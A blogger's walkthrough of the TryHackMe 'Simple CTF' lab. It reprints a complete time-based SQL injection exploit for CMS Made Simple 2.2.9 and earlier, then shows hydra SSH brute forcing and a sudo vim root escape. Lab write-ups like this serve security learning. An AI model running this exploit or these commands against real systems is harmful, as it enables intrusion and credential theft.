Skip to main content

Simple CTF writeup [thm]

Beginner level ctf

Simple CTF is yet another challenge from THM.


How many services are running under port 1000?

$: nmap --open -p 0-1000 $target
PORT   STATE SERVICE
21/tcp open  ftp
80/tcp open  http

What is running on the higher port?

$: nmap --open $target 
PORT     STATE SERVICE
21/tcp   open  ftp
80/tcp   open  http
2222/tcp open  EtherNetIP-1

What is EtherNetIP-1?

EtherNet/IP (IP = Industrial Protocol) is an industrial network protocol that adapts the Common Industrial Protocol (CIP) to standard Ethernet - Wikipedia

Upon closer inspection:

$: nmap -A -p 2222 $target

Nmap scan report for $target
Host is up (0.049s latency).

PORT     STATE SERVICE VERSION
2222/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 
                       (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 29:42:69:14:9e:ca:d9:17:98:8c:27:72:3a:cd:a9:23 (RSA)
|   256 9b:d1:65:07:51:08:00:61:98:de:95:ed:3a:e3:81:1c (ECDSA)
|_  256 12:65:1b:61:cf:4d:e5:75:fe:f4:e8:d4:6e:10:2a:f6 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results 
at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 2.28 seconds

We see that it's just a SSH server.

What's the CVE you're using against the application?

I did this part last. See comments down in the conclusion section.

If we run gobuster against the target:

$: gobuster dir -u $target  -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

We find the following page:

/simple (Status: 301) [Size: 313] [--> http://$target/simple/]

Going to http://$target/simple in a web browser we find an instance of CMS Made Simple running.

By searching in the The Exploit Database for CMS Made Simple we find this SQL Injection.

The above linked exploit contains the CVE number we want and a Python script:

#!/usr/bin/env python
# Exploit Title: Unauthenticated SQL Injection on CMS Made Simple <= 2.2.9
# Date: 30-03-2019
# Exploit Author: Daniele Scanu @ Certimeter Group
# Vendor Homepage: https://www.cmsmadesimple.org/
# Software Link: https://www.cmsmadesimple.org/downloads/cmsms/
# Version: <= 2.2.9
# Tested on: Ubuntu 18.04 LTS
# CVE : [REDACTED]

import requests
from termcolor import colored
import time
from termcolor import cprint
import optparse
import hashlib

parser = optparse.OptionParser()
parser.add_option('-u', '--url', action="store", dest="url", help="Base target uri (ex. http://10.10.10.100/cms)")
parser.add_option('-w', '--wordlist', action="store", dest="wordlist", help="Wordlist for crack admin password")
parser.add_option('-c', '--crack', action="store_true", dest="cracking", help="Crack password with wordlist", default=False)

options, args = parser.parse_args()
if not options.url:
    print "[+] Specify an url target"
    print "[+] Example usage (no cracking password): exploit.py -u http://target-uri"
    print "[+] Example usage (with cracking password): exploit.py -u http://target-uri --crack -w /path-wordlist"
    print "[+] Setup the variable TIME with an appropriate time, because this sql injection is a time based."
    exit()

url_vuln = options.url + '/moduleinterface.php?mact=News,m1_,default,0'
session = requests.Session()
dictionary = '1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM@._-$'
flag = True
password = ""
temp_password = ""
TIME = 1
db_name = ""
output = ""
email = ""

salt = ''
wordlist = ""
if options.wordlist:
    wordlist += options.wordlist

def crack_password():
    global password
    global output
    global wordlist
    global salt
    dict = open(wordlist)
    for line in dict.readlines():
        line = line.replace("\n", "")
        beautify_print_try(line)
        if hashlib.md5(str(salt) + line).hexdigest() == password:
            output += "\n[+] Password cracked: " + line
            break
    dict.close()

def beautify_print_try(value):
    global output
    print "\033c"
    cprint(output,'green', attrs=['bold'])
    cprint('[*] Try: ' + value, 'red', attrs=['bold'])

def beautify_print():
    global output
    print "\033c"
    cprint(output,'green', attrs=['bold'])

def dump_salt():
    global flag
    global salt
    global output
    ord_salt = ""
    ord_salt_temp = ""
    while flag:
        flag = False
        for i in range(0, len(dictionary)):
            temp_salt = salt + dictionary[i]
            ord_salt_temp = ord_salt + hex(ord(dictionary[i]))[2:]
            beautify_print_try(temp_salt)
            payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_siteprefs+where+sitepref_value+like+0x" + ord_salt_temp + "25+and+sitepref_name+like+0x736974656d61736b)+--+"
            url = url_vuln + "&m1_idlist=" + payload
            start_time = time.time()
            r = session.get(url)
            elapsed_time = time.time() - start_time
            if elapsed_time >= TIME:
                flag = True
                break
        if flag:
            salt = temp_salt
            ord_salt = ord_salt_temp
    flag = True
    output += '\n[+] Salt for password found: ' + salt

def dump_password():
    global flag
    global password
    global output
    ord_password = ""
    ord_password_temp = ""
    while flag:
        flag = False
        for i in range(0, len(dictionary)):
            temp_password = password + dictionary[i]
            ord_password_temp = ord_password + hex(ord(dictionary[i]))[2:]
            beautify_print_try(temp_password)
            payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users"
            payload += "+where+password+like+0x" + ord_password_temp + "25+and+user_id+like+0x31)+--+"
            url = url_vuln + "&m1_idlist=" + payload
            start_time = time.time()
            r = session.get(url)
            elapsed_time = time.time() - start_time
            if elapsed_time >= TIME:
                flag = True
                break
        if flag:
            password = temp_password
            ord_password = ord_password_temp
    flag = True
    output += '\n[+] Password found: ' + password

def dump_username():
    global flag
    global db_name
    global output
    ord_db_name = ""
    ord_db_name_temp = ""
    while flag:
        flag = False
        for i in range(0, len(dictionary)):
            temp_db_name = db_name + dictionary[i]
            ord_db_name_temp = ord_db_name + hex(ord(dictionary[i]))[2:]
            beautify_print_try(temp_db_name)
            payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users+where+username+like+0x" + ord_db_name_temp + "25+and+user_id+like+0x31)+--+"
            url = url_vuln + "&m1_idlist=" + payload
            start_time = time.time()
            r = session.get(url)
            elapsed_time = time.time() - start_time
            if elapsed_time >= TIME:
                flag = True
                break
        if flag:
            db_name = temp_db_name
            ord_db_name = ord_db_name_temp
    output += '\n[+] Username found: ' + db_name
    flag = True

def dump_email():
    global flag
    global email
    global output
    ord_email = ""
    ord_email_temp = ""
    while flag:
        flag = False
        for i in range(0, len(dictionary)):
            temp_email = email + dictionary[i]
            ord_email_temp = ord_email + hex(ord(dictionary[i]))[2:]
            beautify_print_try(temp_email)
            payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users+where+email+like+0x" + ord_email_temp + "25+and+user_id+like+0x31)+--+"
            url = url_vuln + "&m1_idlist=" + payload
            start_time = time.time()
            r = session.get(url)
            elapsed_time = time.time() - start_time
            if elapsed_time >= TIME:
                flag = True
                break
        if flag:
            email = temp_email
            ord_email = ord_email_temp
    output += '\n[+] Email found: ' + email
    flag = True

dump_salt()
dump_username()
dump_email()
dump_password()

if options.cracking:
    print colored("[*] Now try to crack password")
    crack_password()

beautify_print()

To get this to work I had to manually install termcolor for Python2. I really didn't feel like editing the script just to remove all of the beautifying going on.

To execute the script, run:

$: python2 exploit.py -u http://$target/simple --crack -w /usr/share/seclists/Passwords/Common-Credentials/best110.txt

[+] Salt for password found: 1dac0d92e9fa6bb2
[+] Username found: [REDACTED]
[+] Email found: admin@admin.com
[+] Password found: 0c01f4468bd75d7a84c7eb73846e8d96
[+] Password cracked: [REDACTED]

What's the password?

It's secret and I'm not going to tell you.

Where can you login with the details obtained?

Obviously, it's SSH.

What's the user flag?

$: ssh -p 2222 [REDACTED]@$target
$: /bin/bash # get a proper shell
$: cat user.txt

Is there any other user in the home directory? What's its name?

$: ls ..

What can you leverage to spawn a privileged shell?

Woo-hoo! It's time for privilege escalation, the most fun part of any challenge.

Let's see what programs we are allowed to run as root but first make sure we have a proper shell:

$: /bin/bash 

Then:

$: sudo -l
User [REDACTED] may run the following commands on Machine:
    (root) NOPASSWD: /usr/bin/vim

Oh nice, Vim, my favorite text editor, how convenient!

... [Vim] can be used to break out from restricted environments by spawning an interactive system shell. - GTFOBins

We execute the following simple one-liner:

$: sudo vim -c ':!/bin/sh'
$: whoami
    root
$: cd /root
$: ls
root.txt
$: cat root.txt  
[REDACTED]

We made it!

Conclusion

This challenge got a bit weird for me because I didn't solve it in the indented (?) way. First I investigated the FTP server and found a note:

Dammit man... you'te the worst dev i've seen. You set the same pass for the system user, and the password is so weak... i cracked it in seconds. Gosh... what a mess!

The title of the note suggested a possible username so I ran hydra on the SSH server:

$: hydra -V -s 2222 -l [REDACTED] -P /usr/share/seclists/Passwords/Common-Credentials/best110.txt  $target -t 4 ssh
[ATTEMPT] target $target - login "[REDACTED]" - pass "[REDACTED]" - 92 of 110 [child 1] (0/0)
[2222][ssh] host: $target   login: [REDACTED]   password: [REDACTED]
1 of 1 target successfully completed, 1 valid password found

I got a shell before I exploited CMSMS which made things a bit weird when I had to backtrack and find the CVE number. Not a big deal but it kind of ruined the "flow" of the challenge for me.

I think Simple CTF was a bit too simple anyway so no harm done. This was the first challenge where I just applied various techniques without learning anything or getting stuck somewhere along the line. I guess that's progress. I should probably try to challenge myself more by trying some slightly harder rooms and continuing working on the Offensive Pentesting path.

Tools used: